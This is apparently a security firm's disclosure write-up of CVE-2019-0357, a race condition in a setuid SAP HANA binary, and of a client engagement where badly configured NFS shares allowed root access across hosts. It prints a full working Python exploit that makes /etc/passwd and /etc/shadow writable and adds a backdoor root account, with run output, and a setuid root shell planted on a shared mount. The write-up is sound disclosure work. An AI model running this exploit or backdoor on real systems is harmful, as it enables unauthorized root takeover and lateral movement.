Introduction
This is a story in two parts. First, sometime mid-2019 Anvil was asked by one of its customers to come in and help out with evaluating the security posture of their implementation of some SAP applications. To prepare for the SAP-related client project Anvil performed some private research in the run-up towards the engagement. This research resulted in a medium-rated bug which, when exploited, escalated to root-privileges. This bug was reported to SAP via the appropriate channels. More on that below.
Second, when Anvil engineers went on-site at our customer to perform the testing, it was found that the underlying NFS configuration was insecure. This enabled Anvil to use the previously mentioned exploit to gain root privileges and then execute lateral movement throughout all the UNIX systems attached to said network shares. Privilege escalation via misconfigured NFS shares has been known several decades and as such most out-of-the-box NFS configurations will prevent this from being possible. This was surprising but it lead to a full compromise of dozens of attached UNIX nodes.
Part 1: dispatching to root
Given that most modern SAP systems are now running on HANA (SAP's in memory SQL database offering) this seemed like a fruitful way to start our research. In realistic deployments one will need a lot of physical compute nodes or expensive virtual machines. However to encourage adoption and experimentation SAP offers the HANA Express Edition as a free download on their website.
After downloading and booting the Virtual Machine we logged in. The database runs on SuSe Linux. Several services were running by default but we wanted to first focus on finding some local privilege escalations. A quick search for setuid/setgid binaries on the system helped us build a list of potential targets. Most of the binaries found on the system are included by default on SuSe Linux (or most other Linux distributions for that matter). That does not directly mean that there will be no bugs in it but given the amount of attention this code has received over the past decades we deemed it wise to focus on the SAP specific binaries. One that list was made we found a utility called hdbmdcdispatcher. This is the binary that we decided to focus on.
When looking at the binary the permissions were such that any user in the group sapsys could execute it.
hxehost:hxeadm> ls -l /usr/sap/HXE/HDB90/exe/mdc/hdbmdcdispatcher -r-sr-x--- 1 root sapsys 1.8M Jan 17 06:19 /usr/sap/HXE/HDB90/exe/mdc/hdbmdcdispatcher
Now it should be noted that in SAP parlance anyone who is in the sapsys POSIX group already has close to root-like abilities on the SAP parts of the system. However being able to potentially escalate to root would enable the already highly-privileged attacker to disable other monitoring software, backdoor the kernel or potentially escalate differently through the network and SAP landscape more easily.
When executing the binary it looks for a file named /var/lib/hdb/HXE/ipc/hdbmdcdispatcher. If it exists it will unlink the file and then create a new UNIX socket there, bind and then listen to it. After that it will change the ownership of the file as well as set the permissions via chmod. A truncated output of running, as root, ltrace on the binary will show something like the following:
...
stat("/var/lib/hdb/HXE/ipc/hdbmdcdispatcher", {st_mode=S_IFREG|0777, st_size=1613, ...}) = 0
unlink("/var/lib/hdb/HXE/ipc/hdbmdcdispatcher") = 0
socket(PF_LOCAL, SOCK_STREAM|SOCK_CLOEXEC, 0) = 3
bind(3, {sa_family=AF_LOCAL, sun_path="/var/lib/hdb/HXE/ipc/hdbmdcdispatcher"}, 39) = 0
listen(3, 5) = 0
chown("/var/lib/hdb/HXE/ipc/hdbmdcdispatcher", 1001, 79) = 0
chmod("/var/lib/hdb/HXE/ipc/hdbmdcdispatcher", 0600) = 0
...
The binary also takes an argument -m which allows one to specify the permissions used in the chmod system call. This means if we specify -m 0777 we can have a world-readable/executable UNIX socket. That does not do us that much good. However there is a race condition present. It can be clearly seen. If between the listen() system call and the chown/chmod calls an attacker manages to delete the file and setup a symlink to a different file then the changing of the file permissions will happen on the target of the symlink. Given that the binary runs as setuid root we can try to exploit this race condition and change the permission of a file a normal user in the sapsys group would not be able to write to.
There are different ways of exploiting this. The exploit we wrote made no attempt to be stealthy whatsoever. It's very noisy in fact. We simply try changing the permissions for /etc/passwd as well as /etc/shadow. This way we can add a new user named anvil with the password anvil which allows us to switch to a root shell.
This looks something like the following:
hxehost:hxeadm> ls -l -rw-r--r-- 1 root root 1.6K May 5 17:32 /etc/passwd -rw------- 1 root root 885 May 5 17:32 /etc/shadow hxehost:hxeadm> id uid=1001(hxeadm) gid=79(sapsys) groups=79(sapsys),16(dialout),33(video),1000(hxeshm) hxehost:hxeadm> python exploit.py Needed 1408 attempts to race and modify /etc/shadow ... Needed 73 attempts to race and modify /etc/passwd Now running `su - anvil` for you. Password is `anvil` Password: -bash-4.3# id uid=0(root) gid=0(root) groups=0(root) -bash-4.3# ls -lha /etc/passwd /etc/shadow -rwxrwxrwx 1 hxeadm sapsys 1.6K May 5 17:42 /etc/passwd -rwxrwxrwx 1 hxeadm sapsys 1003 May 5 17:42 /etc/shadow -bash-4.3# exit
To show that this binary needs to run as root by design one can simply remove the suid bit or use ltrace as a non-root user on it (as that will drop privileges automatically) and then running the tool. This will yield the following error message:
ERROR: hdbmdcdispatcher must be executed as root! 1001
The bug was found in, and the exploit tested against, the following SAP HANA Express Edition:
hxehost:hxeadm> /hana/shared/HXE/HDB90/HDB version HDB version info: version: 2.00.036.00.1547699771 branch: fa/hana2sp03 machine config: linuxx86_64 git hash: 9042b32912d88ef65fdd04cb55a4cc0619c5be1e git merge time: 2019-01-17 05:36:11 weekstone: 0000.00.0 cloud edition: 0000.00.00 compile date: 2019-01-17 06:16:43 compile host: ld4549 compile type: rel hxehost:hxeadm>
The full exploit looks like this:
import os
import signal
import sys
ATTEMPTS = (100 * 1000)
bin2exec = "/usr/sap/HXE/HDB90/exe/mdc/hdbmdcdispatcher"
socketfn = "/var/lib/hdb/HXE/ipc/hdbmdcdispatcher"
passwd_entry = b"anvil:x:0:0:Anvil Ventures:/root:/bin/bash"
shadow_entry = b"anvil:$6$4x3OFPhx$OdAa..WfmrBGhRzEue9iig8." \
b"vDh8cu6vP2tmSPRsHkylgOYz9xitwqKM/Ql/28f6hO" \
b"09xkajSJGu3mA7gZL.C/:17950:0:::::"
def add_line_if_not_there(fn, line):
with open(fn, "r") as fd:
add = fd.read().find(line) == -1
if not add:
return
with open(fn, "a") as fd:
fd.write(line)
fd.write("\n")
def race_file(fn, line):
newpid = os.fork()
if newpid == 0:
# child
cmd = "%s -s HXE -m 0777" % bin2exec
os.system(cmd)
sys.exit(1)
ret = False
try:
os.unlink(socketfn)
os.symlink(fn, socketfn)
add_line_if_not_there(fn, line)
ret = True
except Exception:
pass
os.kill(newpid, signal.SIGKILL)
os.wait()
return ret
def race_file_attempts(fn, line, attempts):
for n in range(0, attempts):
if race_file(fn, line):
break
n += 1
print("Needed %i attempts to race and modify %s" % (n, fn))
def run(n):
race_file_attempts("/etc/shadow", shadow_entry, n)
race_file_attempts("/etc/passwd", passwd_entry, n)
print("Now running `su - anvil` for you. Password is `anvil`")
os.system("su - anvil")
if __name__ == "__main__":
run(ATTEMPTS)
We reported the bug to SAP and they released a patch and tracked it via CVE-2019-0357.
The disclosure timeline:
- The bug was reported to SAP on 2019-06-04 13:00 UTC.
- We received reply from SAP on 2019-06-06 07:43 UTC.
- We asked for status update on 2019-07-03 20:38 UTC.
- We received reply on 2019-07-04 11:50 UTC.
- Anvil client was informed about this vulnerability. They contacted SAP to inquire about a status update.
- We received update on 2019-08-22 09:30 UTC that the privilege escalation was being patched.
- We received pre-announcement of patch on 2019-09-09 11:20 UTC.
- More information can be found in SAP Note 2829681.
The acknowledgment page can be found at the September, 2019 entry on the SAP wiki.
Part 2: Abusing the insecure NFS configuration
A bit of time after the finding and reporting of the bug, but with no patch being publicly available yet, Anvil went on-site at the client to help evaluate the security posture of their SAP landscapes. We focused on insecure configuration, communication security as well as generalized hardening of the SuSe Linux systems. Combined with some other misconfiguration bugs we found a way to escalate to shell access and ultimately be able to gain sapsys group access.
With some modifications to the original exploit we managed to gain root access to some of the HANA instances. Such a classic race condition in a suid binary one doesn't find that often anymore so it was nice to be able to exploit it in the real-world too. When looking at the system it was found that several file systems were mounted over NFS. These filesystems contained all the SAP installation media as well as backups and configuration data.
# mount | grep nfs hostname:/sapcds on /sap/cds nfs4 (rw,relatime,vers=4.0,rsize=1048576,wsize=1048576,namlen=255,hard,proto=tcp,port=0,timeo=600,retrans=2,sec=sys,clientaddr=1.1.1.1,local _lock=none,addr=2.2.2.2) hostname:/sap/hana_backup on /hana/backup nfs4 (rw,relatime,vers=4.0,rsize=1048576,wsize=1048576,namlen=255,hard,proto=tcp,port=0,timeo=600,retrans=2,sec=sys,clientaddr=1.1.1.1,local _lock=none,addr=2.2.2.2)
The NFS mountpoints were not mounted with nosuid option. This was a big red flag! On the NFS share there were several directories which were world-readable and writeable. Given that we had already rooted one of the HANA machines and that we could write to the NFS share we attempted to create a simple shell binary. We wrote the following C code and compiled it with gcc -o shell shell.c.
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
setuid(0);
system("/bin/bash");
return 0;
}
After compiling it we copied it to a directory on the NFS share and then set its permissions with chmod 4755 /sap/cds/shell. This succeeded and we now had a setuid root shell on the NFS share. As we suspected a lot of the other hosts using the network share used the same insecure mount options. This meant that whenever we managed to get any type of local UNIX user access on these machines we were able to execute /sap/cds/shell and gain root access everywhere.
Given that these type of configuration bugs when using NFS have been pretty well known for several decades it was surprising to us that we were able to do this. In fact, for any modern NFS server implementation, one needs to explicitly set no_root_squash to be able to have any root user push files owned by root to the shares.
Having the installation media be set to be writable by anyone, of course, led to us advising the customer to rebuild the NFS share from scratch. Start from known safe installation media unless via file hashes it could be proven that nothing was backdoor-ed or otherwise meddled with. Given that anyone who had access to these systems for a while in whatever way/shape/form could have used root access to escalate this to root access on all kinds of other systems they were not explicitly authorized to use this was a major undertaking.
Conclusion
Anvil found a bug in SAP HANA Express Edition. The resulting race condition was exploited successfully to escalate from highly-privileged sapsys group members to full-on root users. Due to the nature of the actual deployment of NFS at the client we were able to use the exploit and escalate as root throughout the entire UNIX system landscape that used the same network file shares we were able to put the suid root shell on.
This tale also shows that even when bugs are rated as simply a medium-level bug security issues always get worse. The SAP HANA bug is not critical as one already needs to have high privileges on the machine. However if one would gain those somehow then gaining root on a single machine does not gain that much more access. Simply because the sapsys group user already can get access to most, if not all, the data the HANA SQL database stores. Which is where the keys to the data kingdom can be found in modern SAP landscapes.
The addition of the network shares and the misconfiguration of the NFS servers led to lateral movement. Just one root access on one machine enabled us to escalate laterally throughout all the UNIX machines. In the engagement we found other ways of gaining low-privileged UNIX user access (such as nobody) on these machines. And given that we already owned one HANA machine and put the suid shell backdoor on the NFS share this enabled us to escalate privileges on every machine that had this network share mounted.
About the Author
Vincent is a founding partner and CTO at Anvil Secure. Vincent’s strong technical background combined with his many years of consulting experience have contributed to the foundational belief that technical excellence and professionalism should be at the core of everything we do at Anvil. As CTO, he guides research and technical content, while maintaining a customer-focused approach.